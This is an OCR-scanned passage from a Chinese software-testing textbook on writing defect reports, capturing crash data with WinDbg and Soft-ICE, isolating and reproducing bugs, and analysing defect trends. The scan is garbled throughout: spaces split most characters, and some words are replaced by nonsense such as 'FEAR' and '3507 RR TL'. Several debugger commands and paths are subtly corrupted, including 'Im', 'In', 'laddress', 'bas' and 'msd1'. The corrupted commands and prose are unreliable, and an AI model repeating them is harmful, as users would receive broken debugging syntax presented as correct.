期 望 结果 ; 当 用 户 选择 已 录入 的 文字 并 改变 文字 格式 的 时 候 , 文 本 应 该 显示 正确 的 文字 
格式 不 会 出 现 乱 字 符 显 示 。 
实际 结果 : 我 试 着 选择 少量 的 不 同 的 字体 格式 ,但 是 只 有 Arial 字体 格式 有 软件 缺陷 ,无 
论 如 何 , 它 可 能 会 出 现在 我 没有 测试 的 其 他 的 字体 格式 中 。 


以 上 看 到 了 几 个 实例 , 写 软件 缺陷 报告 的 关键 是 遵循 软件 缺陷 的 有 效 描述 规则 ,分 离 和 
再 现 软件 缺陷 的 步骤 ,仔细 做 笔记 ,这 样 才能 写 出 简明 清晰 的 缺陷 报告 。 测 试 人 员 还 需 注意 
应 该 刚 完 成 测试 之 后 写 缺 陷 报告 , 写 完 报告 后 , 花 一 点 额外 的 时 间 和 努力 来 检查 一 遍 。 


15.2 软件 缺陷 相关 的 信息 


在 15. 1 节 所 令 述 的 软件 缺陷 属性 ,是 其 基本 信息 ,为 了 更 好 地 处 理 软件 缺陷 ,开发 人 员 还 
需要 了 解 哪 些 相关 信息 呢 ? 软件 缺陷 相关 的 信息 包括 软件 缺陷 的 图 片 ` 记 录 信 息 和 如 何 再 现 
和 分 离 软件 缺陷 。 对 于 某 一 个 软件 缺陷 报告 ,测试 人 员 应 该 给 予 相关 的 信息 ,例如 捕捉 到 软件 
缺陷 日 志文 件 和 图 片 ,保证 开发 人 员 和 其 他 的 测试 人 员 可 以 分 离 和 重 现 它 。 在 本 节 中 重点 介 
绍 捕捉 Bug 的 工具 在 什么 情况 下 需要 添加 图 片 文件 和 如 何 分 离 和 再 现 软件 缺陷 的 建议 。 


15.2.1 软件 缺陷 的 图 片 信息 


软件 缺陷 的 图 片 、 记 录 信 息 是 软件 缺陷 报告 中 重要 的 组 成 部 分 ,以 下 将 介绍 常用 的 捕捉 
软件 缺陷 的 工具 、 如 何 使 用 这 些 工具 、 添 加 软件 缺陷 图 片 的 作用 和 为 什么 要 添加 图 片 信 

一 些 涉及 用 户 界面 (UD 的 软件 缺陷 很 难 用 文字 清楚 地 描述 ,因此 软件 测试 人 员 通 过 附 
上 图 片 比较 直观 地 表示 缺陷 发 生 在 产品 界面 什么 位 置 \ 有 什么 问题 等 。 

1. 采用 图 片 的 格式 

测试 人 员 一 般 采 用 JPG、GIF 的 图 片 格式 ,因为 这 类 文件 占用 的 空间 小 ,打开 的 速度 快 。 

2. 什么 情况 下 需要 附 上 图 片 

通常 情况 下 ,出 现在 UI 上 并 且 影 响 用 户 使 用 或 者 影响 产品 美观 的 软件 缺陷 , 附 上 图 片 


比较 直观 ,例如 : 
。 当 产 品 中 有 一 段 文字 没有 显示 完全 ,为 了 明确 标识 这 段 文字 的 位 置 ,测试 人 员 必 须 
贴 上 图 片 。 


。 在 测试 外 国语 言 版 本 的 时 候 ,发 现 产 品 中 有 一 段 文字 没有 翻译 ,测试 人 员 需 要 贴 上 
图 片 标识 没有 翻译 的 文字 。 


"在 测试 外 国语 言 版 本 的 时 候 , 发 现 产品 中 有 一 段 外 国文 字 显 示 乱 字符 ,测试 人 员 必 
须 贴 上 图 片 标识 那些 乱 字 符 的 外 国文 字 。 
。 产品 中 的 语法 错误 ,标点 符号 使 用 不 当 等 软件 缺陷 ,测试 人 员 贴 上 图 片 告诉 开发 人 


员 缺 陷 在 什么 地 方 。 
。 在 产品 中 运用 错误 的 公司 标志 、 图 片 没 有 显示 完全 等 软件 缺陷 ,也 需要 贴 上 图 片 。 
测试 人 员 需 要 注意 的 ,有 必要 在 图 片上 用 颜色 标注 缺陷 的 位 置 ,让 开发 人 员 一 目 了 然 ， 
使 得 软件 缺陷 尽快 修复 。 


15.2.2 使 用 WinDbg 记录 软件 缺陷 信息 

WinDbg(http://www. microsoft. com/whdc/devtools/debugging) 是 微软 发 布 的 一 款 
相当 优秀 的 源码 级 (source-level) 调 试 工具 ,可 以 用 于 Kernel 模式 调试 和 用 户 模 式 调试 ,还 可 
用 于 调试 软件 崩溃 后 形成 Dump 文件 ,包括 操作 系统 的 信息 .进程 运行 的 状态 .时 间 和 环境 变 
量 \ 汇 编 指令 ,调用 堆栈 等 ,可 以 查 出 许多 隐 性 的 错误 ,这 就 是 在 测试 中 的 主要 用 途 之 一 。 

1. 配置 WinDbg 

执行 File>Symbol File Path ,按照 下 面 的 方法 设置 NT_SYMBOL_ PATH 变量 : 

C;\MyCodesSymbols; 

SRV * C:;\MyLocalSymbols * http: //msd1. microsoft. com/download/symbols 

HI WinDbg 将 先 从 本 地 文件 夹 C:\MyCodesSymbols 中 查找 Symbol, 如 果 找 不 到 , 则 
自动 从 MS 的 Symbol Server 上 下 载 Symbols。 也 可 以 下 载 完整 的 .正确 版 本 的 Symbol 安 
装 包 并 进行 安装 。 最 后 ,使 用 Im、!sym noisy, !reload 等 命令 来 验证 符号 路 径 是 否 正确 。 

2. 使 用 WinDbg 

WinDbg 提供 了 图 形 界面 和 命令 行 两 种 运行 方式 。 使 用 图 形 界面 的 WinDbg 来 调试 应 
用 程序 : 

File -> OpenExecutable: 可 选择 一 个 可 执行 文件 进行 调试 。 

File -> Attache to a Process; 可 选择 一 个 运行 中 的 进程 ,并 对 其 进行 调试 。 

File -> Kernel Debu; 打开 内 核 调试 选择 窗口 ,这 时 不 能 使 用 挂 起 系统 的 命令 ,但 可 以 读 写 系统 内 存 ， 

可 用 于 检测 缺陷 产生 的 原因 。 

可 以 建立 命令 行 快捷 方式 : C:\WinDBG\windbg. exe -c". prompt_allow 十 dis -reg -ea 
-src -sym; . enable_unicode 1; . enable_long_status 1; . logopen /t c:\dbglog\dbglog. 
txt" 。 再 在 命令 行 窗 口 输入 x、 可 执行 文件 名 后 加 上 ! ,代码 中 的 函数 名 ,可 以 获得 函数 的 入 
口 地 址 ,这 样 就 可 以 方便 地 设置 调试 断 点 ,如 输入 : 


x cpp200803272307! getConstBuffer 


获得 getConstBuffer 的 地 址 。 输 入 bp(break point) 加 上 函数 入 口 地 址 就 可 以 设置 函数 断 
点 ,如 bp 004113c0。 也 可 以 合成 这 两 个 命令 : 


bp cpp200803272307! getConstBuffer 


使 用 u 004113c0 Ail !address 004113c0 查看 更 详细 的 信息 。 


3. 调试 方式 

(1) 远程 调试 : 可 以 从 机 器 A 上 调试 在 机 器 B 上 执行 的 程序 。 具 体 步 又 如 下 : 

。 在 机 器 B 上 启动 一 个 调试 窗口 (Debug Session) , 既 可 以 直接 在 WinDbg 下 运行 一 个 
程序 ,也 可 以 将 WinDbg 附加 到 一 个 进程 上 。 

。 在 机 器 B 的 WinDbg 命令 窗口 上 启动 一 个 远程 调试 接口 (remote) : 


. server npipe:ppe = PIPE NAME 
其 中 PIPE_ NAME 是 该 接口 的 名 字 。 
。 在 机 器 A 上 运行 : 
WinDbg - remote npipe: server = SERVER_NAME, pipe = PIPE NAME 


其 中 SERVER_NAME 是 机 器 B 的 名 字 。 
(2) dump 文件 调试 : 如 果 客 户 机 出 现 问 题 , 当 不 能 使 用 远程 调试 来 解决 问题 ,可 以 通 
过 WinDbg 附加 到 出 现 问题 的 进程 上 ,然后 在 命令 窗口 中 输入 : 


. dump /ma File Name 
创建 一 个 dump 文件 。 在 得 到 dump 文件 后 ,使 用 如 下 命令 打开 它 
WinDbg - z DUMP_FILE NAME 
(3) 本 地 进程 调试 : 可 以 在 WinDbg 下 直接 运行 一 个 程序 : 
WinDbg"path to executable"arguments 
也 可 以 将 WinDbg 附加 到 一 个 正在 运行 的 程序 : 
WinDbg - p"process id" 
WinDbg - pn" process name" 
如 果 想 控制 一 个 进程 及 其 子 进程 ,在 WinDbg 的 命令 行 上 加 上 -o 选项 或 使 用 命令 
. childdbg。 如 果 同 时 调试 几 个 进程 ,可 以 使 用 | 命令 来 显示 并 切换 到 不 同 的 进程 。 在 同一 
个 进程 中 可 能 有 多 个 线程 ,一 命令 可 以 用 来 显示 和 切换 线程 。 
4. 常用 命令 
。 调 出 命令 帮助 信息 : . hh keyword, 
。 下 载 系统 文件 的 符号 : symchk c:\winnt\system32\ntoskrnl. exe /s. 
。 设置 源码 路 径 : . lsrcpath。 
。 查看 event 对 象 的 信号 状态 : !object \BaseNamedObjects。 
。 显示 当前 线程 的 上 一 个 错误 值 和 状态 值 : !gle。 
指定 进 制 形式 ,0x/0n/0t/0y 分 别 表 示 十 六 /十 / 八 / 二 进 制 。 
。 过 滤 命令 窗口 输出 信息 : . prompt_allow -reg 十 dis -ea -src -sym。 
。 格式 化 命令 : . formats @eax。 
查看 eax 上 的 内 存 数据 : dc eax, 
查看 相应 内 存 页 的 属性 : laddress eax, 


。 显示 局 部 变量 : dv (Ctrl +Alt+V 切换 到 更 详细 的 显示 模式 ) 。 

。 查看 当前 的 调用 堆栈 : kx 或 一 *kb。 

。 异常 处 理 相 关 , 用 sx, sxd, sxe, sxi, sxn, sxr 等 设置 异常 和 事件 的 处 理 方式 ,如 
sxe ld 可 以 在 加 载 dll 时 中 断 下 来 。 

。 内 核 调试 时 切换 进程 : !process 0 0 或 . process XXXXXXXX。 

。 显示 数据 结构 : dt, 如 dt PEB 会 显示 操作 系统 进程 结构 。 

。 显示 当前 线程 .进程 的 环境 信息 : !teb、!peb。 

。 显示 句柄 信息 : !handle。 

。 显示 与 句柄 有 关 的 调用 堆栈 : !htrace - enable, 再 输入 !htrace handle_value。 

。 显示 进程 中 加 载 的 模块 信息 : Im。 

。 查看 对 象 类 型 : In。 

。 显示 各 线程 的 锁 资 源 使 用 情况 : !locks, 对 调试 死 锁 很 有 用 。 

。 设置 代码 断 点 : bp/bu/bm; 设置 内 存 断 点 : bas 显示 断 点 信息 : bl. 


15.2.3 使 用 Soft-ICE 记录 软件 缺陷 信息 


Soft-ICE 是 Compuware 公司 的 产品 NuMega DriverStudio 中 一 个 代表 性 的 工具 ,用 于 
跟踪 软件 运行 时 变量 ,内存 等 状态 ,而 且 可 以 捕捉 系统 前 省 时 所 需 的 信息 。 使 用 它 可 以 记录 
产品 发 生 缺 陷 的 地 方 同时 生成 日 志文 件 。 在 一 般 情况 下 ,测试 人 员 需 要 在 软件 缺陷 报告 上 
附 上 日 志文 件 ,便于 开发 人 员 修 复 软件 缺陷 。 

当 遭 遇 软 件 崩 溃 时 ,如 何 使 用 Soft-ICE? 在 开始 测试 之 前 ,已 经 安装 了 Soft-ICE 并 启 
动 了 faults on 命令 。 当 软件 发 生 崩溃 现象 时 ,可 以 使 用 下 面 命令 去 捕捉 必要 的 信息 ， 

e stack 

e u eip-80 

如 果 数 据 窗口 是 开启 的 状态 ,可 以 输入 “wd” 来 关闭 该 窗口 ,然后 再 输入 “dd esp-20” 命 
令 。stack .dd esp-20 是 为 了 标注 跟踪 信息 。 

。 通过 输入 “x”, 退 出 Soft-ICE 的 窗口 ; 如 果 还 是 无 法 退出 SoftICE ,需要 输入 "faults 

off”, 然 后 输入 “x”。 
。 打开 Soft-ICE 应 用 程序 ,立即 保存 日 志文 件 。 一 旦 再 次 打开 Soft-ICE, 请 输入 
“faults on”, 
以 下 是 一 些 常用 命令 : 
。 在 任何 时 候 , 按 Esc 键 去 删除 命令 行 ; 
。 输入 "Help? 列 出 所 有 命令 行 及 其 帮助 说 明 ; 
。 使 用 Ctrl+D 键 ,在 Soft-ICE 窗口 和 Windows 系统 转换 。 
当 测试 人 员 报 告 崩溃 的 软件 缺陷 的 时 候 , 如 下 几 点 是 重要 的 : 
。 任何 造成 软件 崩溃 的 缺陷 都 需要 附 上 Soft-ICE 的 跟踪 Log 文件 ,使 开发 人 员 能 够 
分 析 这 个 缺陷 的 错误 信息 ; 

。 ME SoftICE 的 跟踪 Log 文件 之 后 ,重新 打开 检查 Log 文件 信息 是 无 误 的 ; 

。 如 果 不 能 附 上 Soft-ICE 的 跟踪 Log 文件 ,应 该 说 明 为 什么 不 能 附 上 Soft-ICE 的 跟 
踪 Log 文件 。 


15.2.4 分 离 和 再 现 软件 缺陷 


要 想 有 效 地 分 离 软 件 缺陷 ,需要 清楚 、 准 确 地 描述 产生 软件 缺陷 的 具体 步骤 和 条 件 , 根 
据 缺 陷 的 描述 ,一 般 可 以 再 现 软件 缺陷 。 但 某 些 糟 糕 的 情况 下 .事情 没 这 么 简单 ,再 现 一 个 
软件 缺陷 不 容易 ,对 条 件 环境、 技术 等 各 方面 要 求 都 非常 高 ,需要 耐心 地 一 遍 遍 操作 ,才能 
再 现 。 

1. 分 离 和 再 现 软件 缺陷 的 步骤 

为 了 有 效 地 再 现 软件 缺陷 ,除了 按照 软件 缺陷 的 有 效 描述 规则 来 描述 软件 缺陷 ,还 要 遵 
循 软件 缺陷 分 离 和 再 现 的 方法 ,其 具有 较 高 的 技巧 性 。 虽 然 有 时 少数 几 个 缺陷 很 难 再 现 ,或 
者 根本 无 法 再 现 ,以 下 就 介绍 分 离 和 再 现 缺 陷 的 一 些 常用 方法 和 技巧 。 

(1) 确保 所 有 的 步骤 都 被 记录 。 记 录 下 所 做 的 每 一 件 事 、 每 一 个 步 又、 每 一 个 停顿 。 无 
意 间 丢 失 一 个 步骤 或 者 增加 一 个 多 余 步骤 ,可 能 导致 无 法 再 现 软件 缺 陷 。 在 尝试 运行 测试 
用 例 时 ,可 以 利用 录制 工具 确切 地 记录 执行 步骤 。 所 有 的 目标 是 确保 导致 软件 缺陷 所 需 的 
全 部 细节 是 可 见 的 。 

(2) 特定 条 件 和 时 间 。 软 件 缺陷 仅 在 特定 时 刻 出 现 或 只 在 特定 条 件 下 产生 吗 ? 产生 软 
件 缺陷 的 原因 是 网 络 瓶 颈 吗 ? 在 较 差 和 较 好 的 硬件 设备 上 运行 测试 用 例会 有 不 同 的 结 
果 吗 ? 

G) 压力 和 负荷 .内 存 和 数据 溢出 相关 的 边界 条 件 。 执 行 某 个 测试 可 能 导致 产生 缺陷 
的 数据 被 覆盖 ,而 只 有 在 试图 使 用 该 数据 时 才 会 再 现 。 在 重启 计算 机 后 软件 缺陷 消失 , 当 执 
行 其 他 测试 之 后 又 出 现 这 类 软件 缺陷 ,需要 注意 某 些 软件 缺陷 是 否 在 无 意 中 产 生 。 

(4) 考虑 资源 依赖 性 包括 内 存 、 网 络 和 硬件 共享 的 相互 作用 等 。 软 件 缺陷 是 否 仅 在 运 
行 其 他 软件 并 与 其 他 硬件 通信 的 “繁忙 ”系统 上 出 现 ? 软件 缺陷 可 能 最 终 证 实 跟 硬 件 资源 、 
网 络 资源 有 相互 的 作用 ,审视 这 些 影响 有 利于 分 离 和 再 现 软件 缺陷 。 

G) 不 能 忽视 硬件 。 与 软件 不 同 ,硬件 不 按 预 定 方式 工作 。 板 卡 松动 .内存 条 损坏 或 者 
CPU 过 热 都 可 能 导致 像 是 软件 缺陷 的 失败 。 设 法 在 不 同 硬件 上 再 现 软 件 缺 陷 。 在 执行 配 
置 或 者 兼容 性 测试 是 特别 重要 。 判 定 软件 缺陷 是 在 一 个 系统 上 还 是 在 多 个 系统 上 产生 。 

开发 人 员 有 时 可 以 根据 相对 简单 的 错误 信息 就 能 找 出 问题 所 在 。 因 为 开发 人 员 熟 悉 代 
码 ,因此 看 到 症状 、 测 试用 例 步骤 和 分 离 问 题 的 过 程 时 ,可 能 得 到 查找 软件 缺陷 的 线索 。 一 
个 软件 缺陷 分 离 问题 有 时 需要 小 组 的 共同 努力 。 如 果 尽 最 大 努力 分 离 软件 缺陷 ,也 无 法 表 
达 再 现 步骤 ,那么 仍然 需要 记录 软件 缺陷 ,因为 软件 缺陷 这 个 问题 还 是 存在 的 。 

2. 分 离 和 调试 软件 缺陷 之 间 的 区 别 

讨论 分 离 和 调试 软件 缺陷 之 间 的 区 别 , 是 为 了 划 清 测试 人 员 与 开发 人 员 的 责任 ,增加 界 
限 的 清晰 度 与 测试 资源 的 控制 能 力 。 面 对 一 个 软件 缺陷 时 ,开发 人 员 或 测试 人 员 为 了 修复 
它 ,会 提出 一 系列 分 步骤 地 处 理 缺 陷 的 疑问 : 

(1) 再 现 软件 缺陷 现象 所 需 的 最 少 步骤 有 哪些 ? 这 些 步骤 成 功 再 现 的 可 能 性 多 大 ? 

(2) 软件 缺陷 是 否 成 立 ? 换 句 话说 ,测试 结果 是 否 可 能 起 源 于 测试 因素 或 者 测试 人 员 
自身 的 错误 ,还 是 影响 顾客 需求 的 .系统 真正 的 故障 ? 

(3) 哪些 外 部 因素 产生 软件 缺陷 ? 


(4) 哪些 内 部 因素 ,是 代码 、 网 络 ,还 是 环境 引起 的 软件 缺陷 ? 

(5) 怎样 才能 在 不 产生 新 的 缺陷 的 条 件 下 使 这 个 软件 缺陷 得 到 修复 ? 

(6) 这 种 修复 是 否 经 过 调试 ? 单元 是 否 经 过 测试 ? 

(7) 问题 解决 了 吗 ? 它 是 否 通过 了 确认 和 回归 测试 ? 确定 系统 的 其 余部 分 仍 工作 正常 。 

第 (1) 步 证 明了 一 个 软件 缺陷 不 是 一 个 意外 ,同时 精练 操作 步 又。 第 (2)、(3) 步 分 离 了 
这 个 软件 缺陷 。 第 (4) 一 (6) 步 是 调试 任务 。 第 (7) 步 涉及 确认 和 回归 测试 。 在 整个 过 程 中 ， 
缺陷 从 测试 阶段 (第 (1) 一 (3) 步 ) 进 入 开发 阶段 (第 (4) 一 (6) 步 ) ,然后 再 回 到 测试 阶段 (第 
(7) 步 )。 虽 然 这 个 责任 流程 似乎 简单 而 明显 ,但 其 边界 不 是 很 清晰 (特别 是 第 (3)、(4) 步 之 
间 的 边界 ) ,会 产生 一 些 资源 重叠 而 浪费 大 量 的 精力 。 

如 果 软 件 缺陷 描述 清楚 ,包含 了 第 1.2、3 步骤 中 问题 的 答案 ,意味 着 在 隔离 与 调试 之 间 
清楚 地 划 上 一 条 界限 ,测试 人 员 就 能 专注 于 测试 过 程 ,而 不 受 开 发 人 员 的 影响 。 如 果 测 试 人 
员 不 能 完全 表现 缺陷 的 特征 ,导致 再 现 和 错误 种 类 的 不 确定 性 ,因此 无 法 将 它 分 离 ,测试 人 
员 和 开发 人 员 就 可 能 会 陷入 一 起 调试 过 程 中 。 实 际 上 ,测试 人 员 在 其 职责 范围 内 有 许多 其 
他 的 工作 ,而 不 应 该 被 卷 人 调试 工作 中 。 开 发 人 员 询 问 测试 人 员 是 调试 工作 的 一 部 分 ,这 是 
开发 人 员 的 职责 所 在 ,而 测试 人 员 只 要 在 软件 缺陷 描述 的 基础 上 回答 问题 就 可 以 了 。 否 则 ， 
在 这 个 上 面 ,测试 人 员 可 能 会 花费 大 量 的 时 间 去 解答 开发 人 员 所 提 的 问题 。 


15.3 ”软件 缺陷 跟踪 和 分 析 


软件 缺陷 被 报 出 之 后 , 接 下 来 就 是 要 对 它 进行 处 理 和 跟踪 ,包括 软件 缺陷 生命 周期 、 软 
件 缺 陷 处 理 技巧 .软件 缺陷 跟踪 的 方法 和 图 表 、 软 件 缺陷 跟踪 系统 。 

软件 缺陷 跟踪 管理 是 测试 工作 的 一 个 重要 部 分 ,测试 的 目的 是 尽早 发 现 软件 系统 中 的 
缺陷 ,而 对 软件 缺陷 进行 跟踪 管理 的 目的 是 确保 每 个 被 发 现 的 缺陷 都 能 够 及 时 得 到 处 理 。 
软件 测试 过 程 简单 说 就 是 围绕 缺陷 进行 的 ,缺陷 跟踪 管理 的 目标 如 下 : 

(1) 确保 每 个 被 发 现 的 缺陷 都 能 够 被 解决 ,解决 ”的 意思 不 一 定 是 被 修正 ,也 可 能 是 其 
他 处 理 方式 (例如 ,延迟 到 下 一 个 版 本 中 修正 或 标 为 "已 知 问题 ” ,总 之 ,对 每 个 被 发 现 的 缺 
陷 的 处 理 方式 必须 能 够 在 开发 组 织 中 达到 一 致 

(2) 收集 缺陷 数据 并 根据 缺陷 趋势 曲线 识别 测试 过 程 的 阶段 ; 决定 测试 过 程 是 否 结束 
有 很 多 种 方式 ,通过 缺陷 趋势 曲线 来 确定 测试 过 程 是 否 结束 是 常用 并 且 较 为 有 效 的 一 种 
方式 。 

(3) 收集 缺陷 数据 并 在 其 上 进行 数据 分 析 , 作 为 组 织 的 过 程 财富 。 

上 述 的 第 一 条 容易 受到 重视 ,在 谈 到 缺陷 跟踪 管理 时 ,一 般 人 都 会 马上 想到 这 一 条 , 然 
而 对 第 二 和 第 三 条 目标 却 很 容易 忽视 。 其 实 , 缺 陷 数 据 的 收集 和 分 析 是 很 重要 的 ,可 以 为 软 
件 质量 改善 提供 许多 有 价值 的 第 一 手数 据 , 也 是 做 好 缺陷 预防 工作 的 基础 。 


15.3.1 软件 缺陷 处 理 技 巧 


管理 人 员 测试 人 员 和 开发 人 员 需 要 掌握 在 软件 缺陷 生命 周期 的 不 同 阶段 处 理 软件 缺 
陷 的 技巧 ,从 而 尽快 处 理 软件 缺陷 ,缩短 软件 缺陷 生命 周期 。 以 下 列 出 处 理 软件 缺陷 基本 
技巧 : 


(1) 审阅 。 当 一 个 新 测试 人 员 发 现 一 个 缺陷 ,通过 页 面 提 交 到 缺陷 跟踪 数据 库 中 。 在 
缺陷 被 分 配给 开发 人 员 之 前 ,为 了 保证 缺陷 描述 的 质量 和 减少 开发 人 员 的 抱怨 ,最 好 由 其 主 
管 或 其 他 资深 测试 工程 师 进 行 审阅 。 

(2) 拒绝 。 如 果 审 阅 者 决定 对 一 份 缺陷 报告 进行 较 大 的 修改 ,例如 需要 添加 更 多 的 信 
息 或 者 需要 改变 缺陷 的 严重 等 级 ,应 该 和 报告 人 一 起 讨论 ,由 报告 人 修改 缺陷 报告 ,然后 再 
次 提交 。 

G) 完善 。 如 果 测 试 员 已 经 完整 地 描述 了 问题 的 特征 并 将 其 分 离 , 那 么 审查 者 就 会 肯 
定 这 个 报告 。 

(4) 分 配 。 当 开发 组 接受 完整 描述 特征 并 被 分 离 的 问题 时 ,测试 员 将 它 分 配给 适当 的 
FEAR ,如 果 不 知道 具体 开发 人 员 ,应 分 配给 项 目 开 发 组 长 ,由 开发 组 长 再 分 配给 对 应 的 
开发 人 员 。 

(5) 测试 。 一 旦 开发 人 员 修 复 一 个 缺陷 ,还 需要 得 到 测试 人 员 的 验证 , 没 经 过 测试 人 员 
的 验证 ,缺陷 是 不 能 被 关闭 的 。 同 时 ,还 要 围绕 所 做 的 代码 改动 进行 相应 的 回归 测试 ,检查 
这 个 缺陷 的 修复 是 否 会 引入 新 的 问题 。 

(6) 重新 打开 。 如 果 缺 陷 没 有 通过 验证 ,那么 测试 人 员 将 重新 打开 这 个 缺陷 。 重 新 打 
开 一 个 缺陷 ,需要 加 注释 说 明 ,和 否则 会 引起 “打开 -修复 -再 打开 ?多 个 来 回 , 造 成 测试 人 员 和 
开发 人 员 不 必要 的 矛盾 。 

(7) 关闭 。 如 果 通 过 验证 测试 ,那么 测试 人 员 将 关闭 这 个 缺陷 。 只 有 测试 人 员 才 能 关 
闭 缺陷 ,开发 人 员 没 有 这 个 权限 。 

(8) 暂缓 。 如 果 每 个 人 都 同意 将 确实 存在 的 缺陷 移 到 以 后 处 理 , 应 该 指定 下 一 个 版 本 
号 或 修改 的 日 期 。 一 旦 新 的 版 本 开始 时 ,这 些 暂缓 的 缺陷 应 该 重新 被 打开 。 

测试 人 员 开发 人 员 和 管理 者 只 有 紧密 地 合作 ,掌握 软件 缺陷 处 理 技巧 ,及 时 地 审查 、 处 
理 和 跟踪 每 个 软件 缺陷 ,才能 加 速 软件 缺陷 处 理 的 节奏 ,不 仅 可 以 促进 项 目 进展 的 速度 ,而 
且 有 助 于 提高 软件 质量 。 


15.3.2 缺陷 趋势 分 析 


软件 质量 标准 一 般 要 求 : 在 测试 结束 前 高 优先 级 (P1、.P2) 的 缺陷 必须 被 全 部 处 理 完 ,所 
以 有 必要 监控 这 类 缺陷 随时 间 的 变化 ,例如 生成 相应 的 趋势 图 ,以 判断 整个 产品 开发 是 否 按 
预期 进度 进行 ,测试 是 否 可 以 按时 结束 。 

在 一 个 成 熟 的 软件 开发 过 程 中 ,缺陷 趋势 会 遵循 着 一 种 和 预测 比较 接近 的 模式 向 前 发 
展 。 在 生命 周期 的 初期 ,缺陷 率 增长 很 快 。 在 达到 顶峰 后 ,就 随时 间 以 较 慢 的 速率 下 降 , 如 
图 15-3 所 示 。 可 以 根据 这 一 趋势 复审 项 目 时 间 表 ,例如 4 个 星期 的 测试 周期 ,在 第 三 个 星 
期 缺陷 率 仍然 增长 , 则 显示 项 目 有 问题 ,需要 审视 代码 质量 , 找 出 问题 的 根本 原因 ,必要 时 需 
要 调整 项 目 进度 表 。 

实际 测试 过 程 中 ,可 能 出 现 一 些 波动 现象 ,而 且 测试 过 程 要 经 过 单元 测试 集成 测试 、 功 
能 测试 系统 测试 验收 测试 等 不 同 的 阶段 ,其 波动 趋势 会 表现 为 周期 性 。 

这 种 趋势 分 析 还 可 以 延伸 到 已 修复 的 .已 关闭 的 软件 缺陷 ,用 来 评估 开发 团队 所 做 出 的 
努力 。 理 想 情 况 下 ,已 修复 的 .已 关闭 的 缺陷 数 和 所 发 现 的 缺陷 数 发 展 趋势 相同 或 相近 ,只 
有 滞后 效应 。 特 别 是 对 Pl1、P2 优先 级 的 缺陷 ,要 及 时 被 修复 、 关 闭 , 这 种 关闭 缺陷 的 速率 应 


缺陷 数量 
© 


-1 3-8 3-5 3-22 3-29 45 
日 期 
图 15-3 软件 测试 过 程 中 发 现 缺陷 数理 想 趋势 图 


该 维持 在 与 打开 缺陷 的 速率 相同 的 水 准 上 ,滞后 时 间 不 宜 超过 3 天 ,才能 保证 项 目 顺利 进 
行 。 趋 势 图 的 数据 采用 缺陷 累计 数量 比较 好 ,曲线 的 趋势 更 稳定 .更 具有 规律 性 ,如 图 15-4 
所 示 。 在 项 目 开 始 时 ,发 现 更 多 的 缺陷 ,新 缺陷 的 曲线 斜率 大 ,关闭 的 缺陷 速度 也 快 , 但 随 着 
时 间 推 移 ,该 速率 不 断 降低 ,而 且 关 闭 的 趋势 与 发 现 新 缺陷 的 趋势 相似 ,但 滞后 一 周 。 当 新 
发 现 的 缺陷 累积 曲线 在 一 条 渐 近 水 平 线 时 ,说 明 新 发 现 的 缺陷 越 来 越 少 ,产品 质量 逐渐 稳定 
下 来 ,通常 意味 着 测试 快 结 束 了 。 在 测试 和 修复 的 过 程 中 ,这 些 曲线 在 不 断 地 收敛 , 当 收 敛 
非常 接近 时 ,开发 人 员 基 本 上 完成 了 修复 软件 缺陷 的 任务 。 并 且 注 意 到 关闭 曲线 紧 跟 在 打 
开 曲 线 的 后 面 ,这 表明 项 目 小 组 正在 快速 地 推进 问题 的 解决 。 
3507 RR TL 
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图 15-4 新 发 现 的 、 修 复 的 ,关闭 的 累计 缺陷 数 的 理想 趋势 图 


图 15-4 给 出 了 一 个 理想 的 趋势 图 。 实 际 情况 并 非 如 此 ,有 些 差异 是 自然 的 ,但 如 果 有 
显著 差异 , 则 可 能 表明 存在 问题 ,如 测试 方法 不 对 测试 能 力 不 足 、 缺 陷 处 理 流 程 有 问题 或 修 
复 缺陷 所 需 的 资源 不 足 等 。 

通过 缺陷 龄 期 .缺陷 发 现 率 等 分 析 , 可 了 解 有 关 测试 有 效 性 和 清除 缺陷 的 状态 。 例 如 ， 
如 果 存 在 大 量 龄 期 较 长 的 .未 验证 的 .已 修正 的 缺陷 , 则 可 能 表明 没有 充足 的 测试 人 员 。 微 
软 公 司 就 利用 发 现 的 缺陷 数 和 关闭 的 缺陷 数 趋势 图 , 找 出 缺陷 的 收敛 点 ,来 预测 产品 的 下 一 
个 阶段 计划 ,如 图 15-5 所 示 。 当 出 现 没 有 激活 状态 缺陷 的 第 一 个 时 间 ,被 定义 为 零 Bug 反 
弹 点 (Zero Bug Bounce, ZBB) ,从 这 一 时 刻 开 始 , 产 品 进 入 稳定 期 。 


15.3.3 缺陷 分 布 分 析 
对 缺陷 进行 分 析 ,确定 测试 是 否 达到 结束 的 标准 ,也 就 是 判定 测试 是 否 已 达到 用 户 可 接 


Bug 收 敛 点 


零 Bug 反 弹 


当前 被 打开 的 Bug 数 量 


时 间 
图 15-5 微软 公司 基于 缺陷 趋势 图 的 里 程 碑 定义 


受 的 状态 。 在 评估 缺陷 时 应 遵照 缺陷 分 析 策略 中 制定 的 分 析 标 准 ,最 常用 的 缺陷 分 析 方 法 
有 4 种 : 

(1) 缺陷 分 布 报告 ,允许 将 缺陷 计数 作为 一 个 或 多 个 缺陷 参数 的 函数 来 显示 ,生成 缺陷 
数量 与 缺陷 属性 的 函数 。 如 测试 需求 和 缺陷 状态 .严重 性 的 分 布 情况 等 。 

(2) 缺陷 趋势 报告 , 按 各 种 状态 将 缺陷 计数 作为 时 间 的 函数 显示 。 趋 势 报告 可 以 是 累 
计 的 ,也 可 以 是 非 累计 的 ,可 以 看 出 缺陷 增长 和 减少 的 趋势 。 

(3) 缺陷 年 龄 报告 ,是 一 种 特殊 类 型 的 缺陷 分 布 报告 ,显示 缺陷 处 于 活动 (Active， 
Open) 状 态 的 时 间 ,展示 一 个 缺陷 处 于 某 种 状态 的 时 间 长 短 ,从 而 了 解 处 理 这 些 缺 陷 的 进度 
情况 。 

(4) 测试 结果 进度 报告 ,展示 测试 过 程 在 被 测 应 用 的 几 个 版 本 中 的 执行 结果 以 及 测试 
周期 ,显示 对 应 用 程序 进行 若干 次 迭代 和 测试 生命 周期 后 的 测试 过 程 执行 结果 。 

这 些 分 析 为 软件 质量 项 目 管理 .开发 过 程 改进 等 提供 了 判断 依据 。 例 如 , 预期 缺陷 发 
现 率 将 随 着 测试 进度 和 修复 进度 而 最 终 减 少 ,这 样 可 以 设 定 一 个 阔 值 ,在 缺陷 发 现 率 低 于 该 
阔 值 时 才能 部 署 该 软件 。 

例如 ,在 功能 分 布 上 进行 缺陷 分 析 , 可 以 了 解 


哪些 功能 模块 处 理 比较 难 、 哪 些 功能 模块 程序 质 35 
